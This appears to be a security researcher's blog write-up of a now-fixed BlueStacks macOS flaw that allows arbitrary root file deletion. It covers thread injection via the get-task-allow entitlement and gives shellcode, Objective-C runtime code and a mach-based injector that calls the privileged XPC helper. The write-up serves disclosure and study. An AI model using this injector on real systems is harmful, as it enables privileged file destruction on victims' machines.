vkas-afk.github.io

View on GitHub

Arbitrary File Delete in BlueStacks

This post will detail how I discovered and exploited a bug to gain arbitrary file delete as root in BlueStacks (fixed in BlueStacks 4.250).

The vulnerability was that the application had the entitlement ‘get-task-allow’ allowing other applications to inject threads into the running process. This allows an attacker to make arbitrary XPC calls to the privledged service that the program interacts with because the privledged service authenticates the incoming connection based on the code signature of the binary that it is coming from. A thread injection vulnerablity (such as get-task-allow) allows us to pass these checks whilst still running arbitary code.

To exploit this vulnerablity and gain arbitrary file delete we are going to write a Objective-C runtime based shellcode payload to interact with the XPC service. This is because the process that we are injecting into has low privledges. This shellcode will call a function using XPC that deletes arbitrary files as root, in the examples used we will delete /tmp/xpc_test.

Discovering the Vulnerability

One of the first things I do when I review a MacOS application is check the entitlements that the application has. This is because they define how you can interact with the application and what the application can interact with. To do this you run the below.

codesign -dv --entitlements :- /binary_image_path/

Running this on /Applications/BlueStacks.app/Contents/MacOS/BlueStacks shows that it has the following notable entitlements.

<dict>
	<true/>
	<key>com.apple.security.cs.allow-dyld-environment-variables</key>
	<true/>
	<key>com.apple.security.cs.allow-jit</key>
	<true/>
	<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
	<true/>
	<key>com.apple.security.cs.debugger</key>
	<true/>
	<key>com.apple.security.cs.disable-executable-page-protection</key>
	<true/>
	<key>com.apple.security.cs.disable-library-validation</key>
	<key>com.apple.security.get-task-allow</key>
	<true/>
</dict>
</plist>

The following two entitlements allow us to inject and run arbitrary libraries that are unsigned into the process. We will use these entitlements to debug and test the Objective-C shellcode we write.

com.apple.security.cs.allow-dyld-environment-variables
com.apple.security.cs.disable-library-validation

The following entitlement is what allows us to start remote threads in the process.

com.apple.security.get-task-allow

Finding Interesting Functionality

Now that we discovered that we can start remote threads in the process we need to see what we can do with code execution in the process. Because the application runs with low privledges we will look at the privledged service that it interacts with.

To dump the protocols that the privledged helper service (com.BlueStacks.AppPlayer.bstservice_helper) supports we use class-dump. Filtering through the class-dump output we find the below protocol definition for HelperIpcProtocol that the Bluestacks application uses to modify certain properties of files on the disk.

@protocol HelperIpcProtocol
- (void)die;
- (void)loadModulesWithContinuation:(void (^)(BOOL))arg1;
- (void)fixQuarantineAttributeAtPath:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
- (void)fixLaunchAgentsWithContinuaion:(void (^)(BOOL))arg1;
- (void)fixBundlePermissionsAtPath:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
- (void)placeVBoxInLibrary:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
- (void)placeVirtualBoxApp:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
- (void)removeBundleAtPath:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
- (void)environmentWithContinuation:(void (^)(NSDictionary *))arg1;
- (void)identifyWithContinuation:(void (^)(unsigned int, unsigned int))arg1;
- (void)pingWithContinuation:(void (^)(void))arg1;
- (void)setLogger:(NSObject<HelperIpcLoggerProtocol> *)arg1;
@end

Looking at the functionality of removeBundleAtPath we can see that it allows an attacker to remove files from anywhere on the host after checking that the binary that is making the XPC request is authorised. Below is the functionality of the function with the logging removed.

void HelperIpcServiceConnection::removeBundleAtPath:continuation:(ID param_1,SEL param_2,ID filePath,ID param_4,undefined4 param_5)
{
    if(HelperIpcServiceConnection::clientAuthorized)
    {
        InstallerHelper *helper = [InstallerHelper alloc];
        [helper removeBundleAtPath:filePath]
    }
}
char InstallerHelper::removeBundleAtPath:(ID param_1,SEL param_2,ID filePath)
{
    BOOL return_value = YES;
    NSFileManager *fileManager = [NSFileManager defaultManager];
    if([fileManager fileExistsAtPath:filePath])
    {
        if([fileManager removeItemAtPath:filePath error:nil] == NO)
        {
            return_value = NO
        }
    }
    return return_value;
}
char HelperIpcServiceConnection::clientAuthorized(ID param_1,SEL param_2)
{
    BOOL ret_value = NO
    char path_buffer[4096];
    proc_id = [_connection processIdentifier];
    pid_path = proc_pid_patch(proc_id, path_buffer, 0x1000);
    if(pid_path != 0)
    {
        NSString* str = [NSString stringWithUTF8String:path_buffer];
        NSURL* nsurl = [NSURL fileURLWithPath:str];
        long staticCode;
        result_code = SecStaticCodeCreateWithPath(nsurl, 0, &staticCode);
        if(result_code = 0)
        {
            result_code = SecRequirementCreateWithStringAndErrors
            (&cf_anchorapplegenericand(certificateleaf[field.1.2.840.113635.100.6.1.9]/*exists*/orcertificate1[field.1.2.840.113635.100.6.2.6]/*exists*/andcertificateleaffield.1   .2840.113635.100.6.1.13]/*exists*/andcertificateleaf[subject.OU]=QX5T8D6EDU),0,&local_1040,&local_1048);
            if(result_code)
            {
                return_value = SecStaticCodeCheckValidityWithErrors(local_1050,0,local_1048,&local_1040);
                if(return_value)
                {
                    ret_value = YES
                    return ret_value
                }
            }
        }
    }
    return ret_value
}

Initial Shellcode

The below is the Objective-C shellcode that we are going to covert into C using the Objective-C runtime library. It simply deletes the file at ‘/tmp/xpc_test’ as root.

#import <Foundation/Foundation.h> 
#import <Security/Authorization.h>

@protocol HelperIpcProtocol
- (void)fixQuarantineAttributeAtPath:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
- (void)fixLaunchAgentsWithContinuaion:(void (^)(BOOL))arg1;
- (void)fixBundlePermissionsAtPath:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
- (void)removeBundleAtPath:(NSString *)arg1 continuation:(void (^)(BOOL))arg2;
@end

__attribute__((constructor)) static void run(int argc, const char **argv) {
	
    NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.BlueStacks.AppPlayer.bstservice_helper" options:NSXPCConnectionPrivileged];
                                                       
    connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperIpcProtocol)];
    connection.interruptionHandler = ^{
        NSLog(@"Connection Terminated");
    };

    connection.invalidationHandler = ^{
        NSLog(@"Connection Invalidated");
    };

    NSString* path = @"/tmp/xpc_test";
	
    [connection resume];
    [connection.remoteObjectProxy removeBundleAtPath:path continuation:^(BOOL error) {}];
}

Converting To Objective-C Runtime Code

We now need to convert the Objective-C code we have to C based Objective-C runtime code. At the same time we will also patch out all the functions we need to so we can dynamically resolve them at run time. In the end we only need to resolve dlopen, dlsym and pthread_create_from_mach_thread for the code and _NSConcreteGlobalBlock for the objective-c block type.

Writing the Objective-C Runtime Code

The following is a explanation of each block of Objective-C run time code.

Open the Foundation Framework, we need this framework in our threads enviornment so that we can interaction with Foundation objects (such as NSStrings)

void *sdl_library = dlopen("/System/Library/Frameworks/Foundation.framework/Versions/Current/Foundation", 0x1);

Setup the NSAutoreleasePool so that we can use objects that require interactaction with the NSAutoreleasePool.

// Set up an NSAutoreleasePool
Class nsautoreleasepool = objc_getClass("NSAutoreleasePool");
id pool = class_createInstance(nsautoreleasepool, 0);
id poolAfterInit = set_selector_msgsend(pool, sel_registerName("init"));

Create the NSString that represents the mach service name that we are going to be interacting with(“com.BlueStacks.AppPlayer.bstservice_helper”).

// Setup NSString
id mach_service_name = (id)objc_getClass("NSString");
int NSUTF8StringEncoding = 4;
id tmp = set_selector_msgsend(mach_service_name, sel_registerName("alloc"));
id text = set_nssttring_with_c_string_type_msgsend(tmp, sel_registerName("initWithCString:encoding:"), "com.BlueStacks.AppPlayer.bstservice_helper", NSUTF8StringEncoding);

Create the XPC connection object and initialize it with the mach service name of the previous NSString(“com.BlueStacks.AppPlayer.bstservice_helper”) and pass the NSXPCConnectionPrivileged constant which indicates we are communicating with a privledged service.

//  setup the NSXPCConnection 
Class nsxpcconection = objc_getClass("NSXPCConnection");
id connection_test = class_createInstance(nsxpcconection,0);
id conn_ptr = set_string_int_msgsend(connection_test, sel_registerName("initWithMachServiceName:options:"), text, 0x1000);

Get a instance of the protocol that we are interacting with (HelperIpcprotocol).

//  define the protocol 
Protocol* helper_ipc_protocol_ptr = objc_getProtocol("HelperIpcProtocol");

Create the XPC connection and set the protcol to helper_ipc_protocol_ptr.

//  setup the NSXPCInterface
id nsxpcinterface = (id)objc_getClass("NSXPCInterface");
printf("nsxpcinterface ptr %p\n", nsxpcinterface);
id interface_ptr = set_proto_ptr_msgsend(nsxpcinterface, sel_registerName("interfaceWithProtocol:"), helper_ipc_protocol_ptr);

Set the interface on the connection to be the interface created with the HelperIpcProtocol protocol.

//  set the remote object interface to interface_ptr
set_interface_ptr_msgsend(conn_ptr, sel_registerName("setRemoteObjectInterface:"), interface_ptr);

Create the NSString for the parameter to the function(“/tmp/xpc_test”)

//  resume the connection
set_selector_msgsend(conn_ptr, sel_registerName("resume"));
id file_to_delete = (id)objc_getClass("NSString");
NSUTF8StringEncoding = 4;
tmp = set_selector_msgsend(file_to_delete, sel_registerName("alloc"));
text = set_nssttring_with_c_string_type_msgsend(tmp, sel_registerName("initWithCString:encoding:"), "/tmp/xpc_test", NSUTF8StringEncoding);

Create the block that we will use as a callback to the XPC connection.

void (^simpleBlock)(bool) = ^(bool test) {};

Set the remote function to call (“removeBundleAtPath:continuation:”), pass the parameters (NSString “/tmp/xpc_test”) and the callback handler (simpleBlock), then make the XPC call.

//  get the remote object proxy 
id remote_object_proxy = set_selector_msgsend(conn_ptr, sel_registerName("remoteObjectProxy"));
set_remote_object_proxy_msgsend(remote_object_proxy, sel_registerName("removeBundleAtPath:continuation:"), text, simpleBlock);

Patching The Code

We compile this code with clang and check that it works by injecting the compiled dylib into the process to make sure that our Objective-C runtime code is correct. Once this is done we need to patch the following pointers at run time for the callback block (simpleblock).

We are going to do this using a small amount of assembly that will be prepended to the payload.

#patch the main_block_invoke_ptr
leaq 	0xFE4(%rip), %rdi 
leaq	L_.main_block_invoke(%rip), %rsi 
movq	%rsi, (%rdi) 

#patch the block_descriptor_tmp_ptr
leaq 	0xFDB(%rip), %rdi 
leaq	0xF9C(%rip), %rsi 
movq	%rsi, (%rdi)

#patch arg_descriptor_ptr
leaq 	0xFA2(%rip), %rdi 
leaq	L_.str.21(%rip), %rsi 
movq	%rsi, (%rdi)

Once we have finished patching the assembly we will compile it and then dump the objects code and data. We will seperate the data into data that needs to have read/write permissions (to patch pointer values) and data that only needs to have read permissions.

The data that just needs to be read will go into the code section and the data that needs read from and written to will go into the data section.

Before we can actually run our thread and call dlopen/dlsym we need to add a small bit of code that ‘promotes’ the mach thread we just created into a pthread that can make all syscalls. To do this we are going to modify the code created by Scott Knight (https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a) and append our shellcode to the end.

"\x90"                            // nop
"\x55"                            // push       rbp
"\x48\x89\xE5"                    // mov        rbp, rsp
"\x48\x83\xEC\x10"                // sub        rsp, 0x10
"\x48\x8D\x7D\xF8"                // lea        rdi, qword [rbp+var_8]       
"\x31\xC0"                        // xor        eax, eax
"\x89\xC1"                        // mov        ecx, eax                     
"\x48\x8D\x15\x21\x00\x00\x00"    // lea        rdx, qword ptr [rip + 0x21]  
"\x48\x89\xCE"                    // mov        rsi, rcx                     
"\x48\xB8"                        // movabs     rax, pthread_create_from_mach_thread
"__PTRD__"						  
"\xFF\xD0"			  // call       rax
"\x89\x45\xF4"                    // mov        dword [rbp+var_C], eax
"\x48\x83\xC4\x10"                // add        rsp, 0x10
"\x5D"                            // pop        rbp
"\x48\xc7\xc0\x13\x0d\x00\x00"    // mov        rax, 0xD13
"\xEB\xFE"                        // jmp        0x0
"\xC3"                            // ret
"\x90"				  // nop

Writing The Injector

Once this is done we need to write an injector to inject the code and data into the remote process, and then start a thread using task_for_pid, thread_create_running and the mach_vm_* family of functions.

First we will dynamically resolve the symbols we need and write a small function to patch the shellcode automatically.

void find_and_replace_symbol(char* symbol, void* replace)
{
	uint8_t* ptr = &replace; 
	for(int i = 0; i < CODE_SIZE; i++) 
	{
		if(memcmp(symbol, injectedCode+i, 8) == 0)
		{
			for(int j = 0; j < 8; j++) 
			{ 
				injectedCode[i+j] = ptr[j];
			}
		}
	}
}
void * libpthread_handle = dlopen("/usr/lib/system/libsystem_pthread.dylib", RTLD_LAZY);
void * libpthread_ptr = dlsym(libdpthread_handle, "pthread_create_from_mach_thread");
find_and_replace_symbol("__PTRD__", libpthread_ptr);

Then we will get a mach_port for the process by looking up the PID and calling task_for_pid()

kern_return_t kr = task_for_pid(current_task(), bluestacksPID, &remoteTask);

Using that mach_port we will allocate data, code, and a stack page in the process using mach_vm_allocate().

kr = mach_vm_allocate( remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
kr = mach_vm_allocate( remoteTask, &remoteData64, DATA_SIZE, VM_FLAGS_ANYWHERE);

We will write to the data and code pages using mach_vm_write().

kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) injectedCode, CODE_SIZE);
kr = mach_vm_write(remoteTask, remoteData64, (vm_address_t) injectedData, DATA_SIZE);

We will change the permissions of these pages using vm_protect()

kr  = vm_protect(remoteTask, remoteData64, DATA_SIZE, FALSE, VM_PROT_READ | VM_PROT_WRITE);
kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

We will memset the remote thread state structure.

x86_thread_state64_t remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));

We then setup the values needed to point to our injected code using the remoteThreadState64 structure.

remoteStack64 += (STACK_SIZE / 2);
const char* p = (const char*) remoteCode64;
remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;
remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
remoteThreadState64.__rbp = (u_int64_t) remoteStack64;

We then launch the remote thread using thead_create_running().

kr = thread_create_running( remoteTask, x86_THREAD_STATE64,(thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );

A full PoC for this vulnerability can be found on my github.